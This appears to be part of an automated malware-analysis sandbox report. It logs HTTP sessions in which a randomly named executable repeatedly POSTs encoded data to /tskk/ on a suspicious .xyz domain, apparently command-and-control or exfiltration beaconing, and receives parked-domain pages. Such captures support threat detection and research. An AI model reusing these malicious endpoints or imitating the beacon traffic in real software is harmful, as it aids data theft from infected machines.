Dec 6, 2024 17:38:11.852761030 CET	1236	IN	Data Raw: 2e 36 32 35 29 7d 7d 40 73 75 70 70 6f 72 74 73 20 28 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 63 6c 61 6d 70 28 31 2e 35 72 65 6d 20 2c 31 2e 32 30 37 33 31 37 30 37 33 32 72 65 6d 20 2b 20 31 2e 34 36 33 34 31 34 36 33 34 31 76 77 20 2c 31 2e Data Ascii: .625)}}@supports (margin-bottom:clamp(1.5rem ,1.2073170732rem + 1.4634146341vw ,1.875rem)){.window-main__info{margin-bottom:clamp(1.5rem ,1.2073170732rem + 1.4634146341vw ,1.875rem)}}@supports not (margin-bottom:clamp(1.5rem ,1.2073170732rem +
Dec 6, 2024 17:38:11.852910995 CET	1236	IN	Data Raw: 61 72 67 69 6e 2d 74 6f 70 3a 63 6c 61 6d 70 28 31 2e 35 72 65 6d 20 2c 31 2e 32 30 37 33 31 37 30 37 33 32 72 65 6d 20 2b 20 31 2e 34 36 33 34 31 34 36 33 34 31 76 77 20 2c 31 2e 38 37 35 72 65 6d 29 29 7b 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 5f Data Ascii: argin-top:clamp(1.5rem ,1.2073170732rem + 1.4634146341vw ,1.875rem)){.window-main__actions,.window-main__body{margin-top:calc(1.5rem + .375*(100vw - 20rem)/ 25.625)}}}a{transition: all 0.4s; background-color: #0E0F14;}a:hover{border: 2px solid
Dec 6, 2024 17:38:11.852924109 CET	783	IN	Data Raw: 39 32 20 32 33 38 2e 38 35 39 20 34 30 34 2e 37 32 38 20 32 39 38 2e 32 35 36 20 33 37 38 2e 30 36 37 20 33 35 33 2e 37 38 36 43 33 35 31 2e 34 30 35 20 34 30 39 2e 33 31 37 20 32 39 39 2e 38 34 31 20 34 33 39 2e 39 35 33 20 32 36 32 2e 38 39 36 Data Ascii: 92 238.859 404.728 298.256 378.067 353.786C351.405 409.317 299.841 439.953 262.896 422.214Z" fill="#013F93" /></g><defs><filter id="filter0_f_2001_5" x="0.329773" y="0.914673" width="629.662" height="810.506" filterUnits=
Dec 6, 2024 17:38:11.885850906 CET	1236	IN	Data Raw: 62 34 62 0d 0a 0a 09 09 09 09 09 09 09 09 3c 66 65 42 6c 65 6e 64 20 6d 6f 64 65 3d 22 6e 6f 72 6d 61 6c 22 20 69 6e 3d 22 53 6f 75 72 63 65 47 72 61 70 68 69 63 22 20 69 6e 32 3d 22 42 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 46 69 78 22 20 72 Data Ascii: b4b<feBlend mode="normal" in="SourceGraphic" in2="BackgroundImageFix" result="shape" /><feGaussianBlur stdDeviation="75" result="effect1_foregroundBlur_2001_5" /></filter><filter id="filter2_f_2001_5" x="59.
Dec 6, 2024 17:38:11.942487001 CET	1236	IN	Data Raw: 74 68 65 20 73 69 74 65 20 6f 6e 6c 79 20 77 6f 72 6b 73 20 77 69 74 68 20 49 50 76 34 20 6f 6e 20 74 68 65 20 73 65 72 76 65 72 2e 3c 2f 6c 69 3e 0a 09 09 09 09 09 09 3c 2f 75 6c 3e 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 3c 64 69 Data Ascii: the site only works with IPv4 on the server.</li></ul></div><div class="window-main__actions"><a href="https://kb.fastpanel.direct/troubleshoot/" class="window-main__link _link">View more possible reasons</a></d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.12	49929	199.59.243.227	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 17:38:17.844314098 CET	808	OUT	POST /tskk/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.dating-apps-az-dn5.xyz Origin: http://www.dating-apps-az-dn5.xyz Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 204 Referer: http://www.dating-apps-az-dn5.xyz/tskk/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 Data Raw: 42 48 70 74 5a 36 46 3d 6c 37 75 68 39 2b 4f 2b 50 77 41 6f 43 47 46 7a 56 72 49 46 57 69 47 74 2f 43 53 4c 51 43 53 44 51 66 72 76 66 31 4e 73 67 57 2f 68 4f 31 6d 61 41 71 58 79 50 2b 32 74 6e 55 4e 39 61 43 42 45 61 46 32 52 68 75 4e 42 5a 76 65 42 37 52 34 52 59 59 55 55 6f 78 30 47 6d 46 77 4e 68 48 63 4f 6a 58 32 53 4b 51 6a 42 6b 4f 51 7a 57 31 49 63 32 33 31 6a 4d 78 31 57 5a 34 36 6f 51 46 78 4b 63 6f 55 68 55 6c 77 38 63 41 36 6e 70 2f 52 31 44 64 51 4a 57 54 34 7a 78 4f 79 53 5a 64 72 31 56 48 4e 41 37 59 67 69 6e 77 2f 70 66 51 6f 4b 6b 56 51 71 6b 38 2b 68 75 72 6c 4f 55 4d 2f 57 6b 77 3d 3d Data Ascii: BHptZ6F=l7uh9+O+PwAoCGFzVrIFWiGt/CSLQCSDQfrvf1NsgW/hO1maAqXyP+2tnUN9aCBEaF2RhuNBZveB7R4RYYUUox0GmFwNhHcOjX2SKQjBkOQzW1Ic231jMx1WZ46oQFxKcoUhUlw8cA6np/R1DdQJWT4zxOySZdr1VHNA7Yginw/pfQoKkVQqk8+hurlOUM/Wkw==
Dec 6, 2024 17:38:18.925440073 CET	1236	IN	HTTP/1.1 200 OK date: Fri, 06 Dec 2024 16:38:18 GMT content-type: text/html; charset=utf-8 content-length: 1154 x-request-id: 35a1b107-773f-42e3-bff4-0e6910b6902e cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Hk5CaZh8yeU48zMcK7wSQsktQpVsZKkGZ2BdfcHZHvoL1mBYrjdHrLsvI2lE7l3G0Ow8ZRvlF9I/i/PlFgVRJg== set-cookie: parking_session=35a1b107-773f-42e3-bff4-0e6910b6902e; expires=Fri, 06 Dec 2024 16:53:18 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 48 6b 35 43 61 5a 68 38 79 65 55 34 38 7a 4d 63 4b 37 77 53 51 73 6b 74 51 70 56 73 5a 4b 6b 47 5a 32 42 64 66 63 48 5a 48 76 6f 4c 31 6d 42 59 72 6a 64 48 72 4c 73 76 49 32 6c 45 37 6c 33 47 30 4f 77 38 5a 52 76 6c 46 39 49 2f 69 2f 50 6c 46 67 56 52 4a 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Hk5CaZh8yeU48zMcK7wSQsktQpVsZKkGZ2BdfcHZHvoL1mBYrjdHrLsvI2lE7l3G0Ow8ZRvlF9I/i/PlFgVRJg==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Dec 6, 2024 17:38:18.925489902 CET	607	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMzVhMWIxMDctNzczZi00MmUzLWJmZjQtMGU2OTEwYjY5MDJlIiwicGFnZV90aW1lIjoxNzMzNTAzMD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.12	49935	199.59.243.227	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 17:38:20.509768009 CET	828	OUT	POST /tskk/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.dating-apps-az-dn5.xyz Origin: http://www.dating-apps-az-dn5.xyz Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 224 Referer: http://www.dating-apps-az-dn5.xyz/tskk/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 Data Raw: 42 48 70 74 5a 36 46 3d 6c 37 75 68 39 2b 4f 2b 50 77 41 6f 44 6b 52 7a 57 49 67 46 42 53 47 71 7a 69 53 4c 43 43 54 4b 51 66 33 76 66 77 39 38 68 6c 62 68 4f 55 57 61 42 6f 76 79 4d 2b 32 74 2f 45 4e 38 55 69 42 44 61 46 4b 33 68 73 5a 42 5a 75 36 42 37 54 77 52 66 72 73 58 6f 68 30 45 72 6c 77 31 76 6e 63 4f 6a 58 32 53 4b 51 6d 55 6b 4f 49 7a 56 46 59 63 35 7a 5a 67 46 52 31 5a 4a 6f 36 6f 55 46 77 44 63 6f 55 48 55 6b 73 53 63 43 79 6e 70 37 42 31 44 70 4d 4f 63 54 34 31 2f 75 79 43 49 4f 4b 43 56 78 5a 70 31 70 6b 41 73 43 50 39 58 32 6c 51 37 6e 59 38 78 2f 71 73 6a 38 63 2b 5a 50 43 66 2f 78 73 4e 56 4f 64 7a 59 77 6e 62 66 74 33 6f 48 48 6b 69 35 2b 6b 3d Data Ascii: BHptZ6F=l7uh9+O+PwAoDkRzWIgFBSGqziSLCCTKQf3vfw98hlbhOUWaBovyM+2t/EN8UiBDaFK3hsZBZu6B7TwRfrsXoh0Erlw1vncOjX2SKQmUkOIzVFYc5zZgFR1ZJo6oUFwDcoUHUksScCynp7B1DpMOcT41/uyCIOKCVxZp1pkAsCP9X2lQ7nY8x/qsj8c+ZPCf/xsNVOdzYwnbft3oHHki5+k=
Dec 6, 2024 17:38:21.596107960 CET	1236	IN	HTTP/1.1 200 OK date: Fri, 06 Dec 2024 16:38:20 GMT content-type: text/html; charset=utf-8 content-length: 1154 x-request-id: c97dc733-2c67-4f39-b009-044e2c94be17 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Hk5CaZh8yeU48zMcK7wSQsktQpVsZKkGZ2BdfcHZHvoL1mBYrjdHrLsvI2lE7l3G0Ow8ZRvlF9I/i/PlFgVRJg== set-cookie: parking_session=c97dc733-2c67-4f39-b009-044e2c94be17; expires=Fri, 06 Dec 2024 16:53:21 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 48 6b 35 43 61 5a 68 38 79 65 55 34 38 7a 4d 63 4b 37 77 53 51 73 6b 74 51 70 56 73 5a 4b 6b 47 5a 32 42 64 66 63 48 5a 48 76 6f 4c 31 6d 42 59 72 6a 64 48 72 4c 73 76 49 32 6c 45 37 6c 33 47 30 4f 77 38 5a 52 76 6c 46 39 49 2f 69 2f 50 6c 46 67 56 52 4a 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Hk5CaZh8yeU48zMcK7wSQsktQpVsZKkGZ2BdfcHZHvoL1mBYrjdHrLsvI2lE7l3G0Ow8ZRvlF9I/i/PlFgVRJg==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Dec 6, 2024 17:38:21.596133947 CET	607	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiYzk3ZGM3MzMtMmM2Ny00ZjM5LWIwMDktMDQ0ZTJjOTRiZTE3IiwicGFnZV90aW1lIjoxNzMzNTAzMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.12	49941	199.59.243.227	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 17:38:23.180535078 CET	1841	OUT	POST /tskk/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.dating-apps-az-dn5.xyz Origin: http://www.dating-apps-az-dn5.xyz Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 1236 Referer: http://www.dating-apps-az-dn5.xyz/tskk/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 Data Raw: 42 48 70 74 5a 36 46 3d 6c 37 75 68 39 2b 4f 2b 50 77 41 6f 44 6b 52 7a 57 49 67 46 42 53 47 71 7a 69 53 4c 43 43 54 4b 51 66 33 76 66 77 39 38 68 6c 54 68 4f 69 43 61 4f 76 44 79 4e 2b 32 74 33 6b 4e 68 55 69 42 53 61 46 69 7a 68 73 56 52 5a 73 79 42 36 77 6f 52 65 61 73 58 6a 68 30 45 69 46 77 4f 68 48 64 61 6a 58 6d 4f 4b 54 4f 55 6b 4f 49 7a 56 44 63 63 77 48 31 67 48 52 31 57 5a 34 36 30 51 46 77 72 63 6f 39 79 55 6b 6f 73 64 79 53 6e 6f 61 74 31 42 36 6b 4f 51 54 34 33 79 4f 7a 64 49 4f 47 64 56 31 35 4c 31 70 51 36 73 41 76 39 55 58 4a 4c 72 48 59 36 77 38 71 42 6f 62 41 70 5a 38 75 71 6e 7a 39 77 52 76 77 4a 55 54 44 38 59 39 37 6c 56 47 74 39 6e 70 57 68 5a 4b 2b 36 6c 65 4a 6a 43 74 6d 53 36 4d 74 41 45 34 32 53 4c 39 67 46 39 69 36 49 4a 6a 41 67 58 67 64 4b 55 45 66 7a 31 36 6f 4d 73 34 47 75 36 64 67 73 49 68 31 57 79 31 6d 4c 34 57 71 57 7a 30 75 66 6d 37 49 46 55 67 43 6e 51 6d 47 65 6f 47 44 2b 51 37 77 36 30 37 48 48 38 2f 48 51 64 51 4a 6f 37 79 52 7a 6b 4a 37 64 65 58 39 35 49 2f [TRUNCATED] Data Ascii: BHptZ6F=l7uh9+O+PwAoDkRzWIgFBSGqziSLCCTKQf3vfw98hlThOiCaOvDyN+2t3kNhUiBSaFizhsVRZsyB6woReasXjh0EiFwOhHdajXmOKTOUkOIzVDccwH1gHR1WZ460QFwrco9yUkosdySnoat1B6kOQT43yOzdIOGdV15L1pQ6sAv9UXJLrHY6w8qBobApZ8uqnz9wRvwJUTD8Y97lVGt9npWhZK+6leJjCtmS6MtAE42SL9gF9i6IJjAgXgdKUEfz16oMs4Gu6dgsIh1Wy1mL4WqWz0ufm7IFUgCnQmGeoGD+Q7w607HH8/HQdQJo7yRzkJ7deX95I/xTapYMa7sMGydYeeeGHzDRl5dTKECfoAVsHKuIssVqVeUV/tvjUot7eVIG567hCdZ4j1rK6Gs8laCM9ok0Cx06oQpI+2pHrxEz//6gztWLPbb+vb9ez5r5OG5bNGYwkI3dRt7IWQ7bLloQrv1lLPhnwYFoEoDjf/YaC7xSF++co9BbpE2/vjcYiOvgnCTcoQi2MxP2NzmzyksLCurow/o/hKQBVGErauSw0jwWc3Lv5ftgnxTad2dFkL+DmL6VBrhefn9kOOjgsRT+qLHu1oogAaKbybD2Y6MJRdDNDEoYp69W/ZlVrkRPWK9OlbhKWhM7LDGktN6heIiJTsIp9NQFDlzqFjUtarxflTkskSMwgU+KKQIGwAVPkmDT7snq1CPqpat7xP2YVxdkZ/W65RGyvixhl5OXok+xJOhtx2D+QX3AYDXUlUZpHzQNrf18zcTPS7586OaLR4l4CsfM/lvUMLZjO9iK8Vq1VBDzStGDYKCVJUjNoXSa3y6BhLl00YW8+YCCmfPv7Qo0rpATza6Kvvu7nJgetNPIPKwo5avZw0nCCec4DGYEHp7R8dZoUw9vC0ENlU1PQwkD+C6g8JFsDPSyxXipPTYBrVDaB8yg5mHrGEBugpWz/KM3B3bXpep17vTBM7KcsaLHkWRPM54nj4tvcen4sHAd [TRUNCATED]
Dec 6, 2024 17:38:24.271527052 CET	1236	IN	HTTP/1.1 200 OK date: Fri, 06 Dec 2024 16:38:23 GMT content-type: text/html; charset=utf-8 content-length: 1154 x-request-id: ca7b2e67-8785-459a-8706-47fa4ad1362e cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Hk5CaZh8yeU48zMcK7wSQsktQpVsZKkGZ2BdfcHZHvoL1mBYrjdHrLsvI2lE7l3G0Ow8ZRvlF9I/i/PlFgVRJg== set-cookie: parking_session=ca7b2e67-8785-459a-8706-47fa4ad1362e; expires=Fri, 06 Dec 2024 16:53:24 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 48 6b 35 43 61 5a 68 38 79 65 55 34 38 7a 4d 63 4b 37 77 53 51 73 6b 74 51 70 56 73 5a 4b 6b 47 5a 32 42 64 66 63 48 5a 48 76 6f 4c 31 6d 42 59 72 6a 64 48 72 4c 73 76 49 32 6c 45 37 6c 33 47 30 4f 77 38 5a 52 76 6c 46 39 49 2f 69 2f 50 6c 46 67 56 52 4a 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Hk5CaZh8yeU48zMcK7wSQsktQpVsZKkGZ2BdfcHZHvoL1mBYrjdHrLsvI2lE7l3G0Ow8ZRvlF9I/i/PlFgVRJg==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Dec 6, 2024 17:38:24.271774054 CET	607	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiY2E3YjJlNjctODc4NS00NTlhLTg3MDYtNDdmYTRhZDEzNjJlIiwicGFnZV90aW1lIjoxNzMzNTAzMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.12	49948	199.59.243.227	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 17:38:25.846615076 CET	524	OUT	GET /tskk/?BHptZ6F=o5GB+IawIAU5T0thXdQTAhCz8F67YQPQT/nwZCkciWz+LkCAD5WzKPOp+WFYKDZnS0ikteADWtOd2j97JYt8nhoktlw8l2JH1Fe3FVr0kJJ2WjNY2yZGKR8=&RZ=0nkpmZbx9Z4P2 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Host: www.dating-apps-az-dn5.xyz Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
Dec 6, 2024 17:38:26.938834906 CET	1236	IN	HTTP/1.1 200 OK date: Fri, 06 Dec 2024 16:38:26 GMT content-type: text/html; charset=utf-8 content-length: 1494 x-request-id: 0ba3d5cf-77fd-44d5-bd56-187610cd6dbb cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_EFn0DTHhx+p6pY71uVqWKgcT1Lrm4WC0eH1MRRr6zkwokKN/480W300KZCxG096cUCwcyKH2IpiF0gOEJwpcLA== set-cookie: parking_session=0ba3d5cf-77fd-44d5-bd56-187610cd6dbb; expires=Fri, 06 Dec 2024 16:53:26 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 45 46 6e 30 44 54 48 68 78 2b 70 36 70 59 37 31 75 56 71 57 4b 67 63 54 31 4c 72 6d 34 57 43 30 65 48 31 4d 52 52 72 36 7a 6b 77 6f 6b 4b 4e 2f 34 38 30 57 33 30 30 4b 5a 43 78 47 30 39 36 63 55 43 77 63 79 4b 48 32 49 70 69 46 30 67 4f 45 4a 77 70 63 4c 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_EFn0DTHhx+p6pY71uVqWKgcT1Lrm4WC0eH1MRRr6zkwokKN/480W300KZCxG096cUCwcyKH2IpiF0gOEJwpcLA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
